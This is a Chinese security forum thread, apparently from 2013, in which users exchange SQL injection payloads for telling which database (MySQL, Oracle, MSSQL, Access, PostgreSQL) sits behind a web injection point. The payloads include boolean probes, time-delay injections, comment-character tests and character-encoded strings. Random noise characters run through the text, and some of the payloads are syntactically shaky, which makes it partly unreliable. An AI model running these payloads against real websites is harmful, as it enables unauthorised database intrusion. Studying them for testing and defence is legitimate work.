一个注射点如何最快速确认是什么类型数据库
+ g5 F/ W L0 E A, cxsser (十根阳具有长短!!) | 2013-02-05 12:36' s# o" x" b3 n% Z; s
假设这么一个注射点:# C4 ]9 o$ f/ m/ l" v
show.html?id=2
( s( d0 l% E9 J. ?$ |+ Omysql:id=2 and version()>0% q* d9 s6 X' n0 _( y& n8 f
oracle:id=2 and '1'||'1'='11
3 s% Q6 @, }( h7 o. V! C& K其他的欢迎补充
5 A5 _+ t+ ]5 {1#
/ o! U+ c) q$ J% vupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47- N7 A' ?2 a f1 Z) _* i7 ]
Access:; L+ R# C+ P; b! T
aNd aSc(cHr(97))=97
' `% `7 `$ j% d2 l& b8 d: Zand exists(select id from MSysAccessObjects)
7 j; y% |- M+ y. A( [- e( NSQL Server:! N$ g8 V; E; h3 b# t
and exists(select id from sysobjects)
6 _, u5 Q& |5 O& R; k( [and length(user)>0& {+ x9 U; `& T8 D5 b
MySQL:
0 ]1 r$ y( d, i6 J9 b2 Sand length(user())>0
3 k \1 h" L+ f. W' h2 H2#
; v. c' s: C9 V+ P# @. X, Pxsser (十根阳具有长短!!) | 2013-02-05 12:48. o: e/ L* N' H+ p6 M4 l$ {8 j( l5 T
@upload 如果这些都不是呢…) [1 B7 C- B* j& _& ~! f
3#! b H5 t& W/ n' `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
% ^ F+ e: p0 H C$ `5 k2 f; ]( I1 ?@xsser 不快速的,延时注入
8 R" Q' Q ]% p7 B; I- r不知道这样写对不对
# ?: b8 g7 j6 v! Fmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
% e6 W% V1 {& X0 {1 N; K gmysql:id=2 and select benchmark(1e8,current_date());
* H7 P0 q" a! L4 Q0 r4#
' ^* f8 x5 ]) B+ ?' [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:101 \, c: j+ P# A" k% Q
最快的貌似是看报错信息
' N: P, f6 {7 A9 \8 g% }oracle error
/ r% }% V2 |7 X8 N3 P$ Jmssql error! o" F) X9 F; n c A& ^6 T
mysql error
3 q8 g& d5 W* \- j+ j' @$ P4 x5#
& h( R* y% k9 T, `* \; H$ gNimda (你们都是坏银~) | 2013-02-05 13:14; y" j- Z2 P v7 t A7 ]7 ~4 k3 d7 {1 J
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)6 g: v6 E6 U6 g: ?1 s
6#3 ]6 F1 G4 \5 d0 a1 g0 B
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
% l: Z& P$ v, W( k, s1 p1 \! c2 c“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
' P/ K. p. I. I+ x) m7 r“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:0 k; U" }( i! Y# E+ W5 R% j S4 I# Y
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。; o1 E. z9 e7 h% B2 D& r% R7 _" j
7#
0 R& B7 Z5 ~- g8 w_Evil (HackEnd) | 2013-02-05 13:33
/ ^ W2 W3 z6 L) V, X* nPostgreSQL
; {1 G7 X9 Z: e8 d' z. ]8#, C( T" c. w( r3 U7 q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
6 v: r% O2 F! t, C# A8 d) `切换编码 and 1=10 W- Y4 o9 |' Y# F$ H
oracle:
( w2 a: H* e$ S8 i% BCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)0 U! b1 k- l ?& L0 r0 `" P
mssql:
! P) N1 Y- \( M6 s2 JCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
( {+ b& H+ t& M* g9 r) D! Amysql:
1 {& s# j$ Z# ]; T; H0 J$ h' ECHAR(97, 110, 100, 32, 49, 61, 49)
0 X6 t& b/ w2 \5 Z3 f7 t4 f% y& @9#4 A! G6 D" @9 N( L* @6 F- q
xsser (十根阳具有长短!!) | 2013-02-05 14:31
' m. @- U0 z% v& Q& ^! o@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?( j: q+ a) w6 v
10#4 k2 P+ A9 X3 i! c- f
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46; E3 R+ a# T7 Z- e0 H
@xsser 是奇葩数据库类型的么?0 |3 V6 I( u7 q- I/ V- K
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
9 U2 n& B/ p. S R/ O( ?+ z1.是否可以使用特定的函数来判断,该数据库特有的 m2 ^+ C- G7 j
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
3 S" ^3 [& w9 x" C3.是否可以编码查询# j- X* T" Q3 ]5 C
4.是否显可以利用错信息& v8 ^5 E5 z/ w" p2 n7 t
5.是否存在数据库某些特性辅助判断
& [) y3 k, F5 m" O( d: _个人见解
$ o2 G. l1 X& j" [* C9 |11#; C. v; U, Z0 g
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55; W0 l2 D# @, h
已收藏,mssql可以直接看到错误提示的吧~
0 v' c; t# M X" M1 D12#
+ _' `1 Q5 B. k$ g. w5 i# hPasser_by | 2013-02-05 15:09/ b/ x4 g' a' c' n: r* [/ H
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
7 I: f& l) F' Ofrom:http://zone.wooyun.org/content/260 |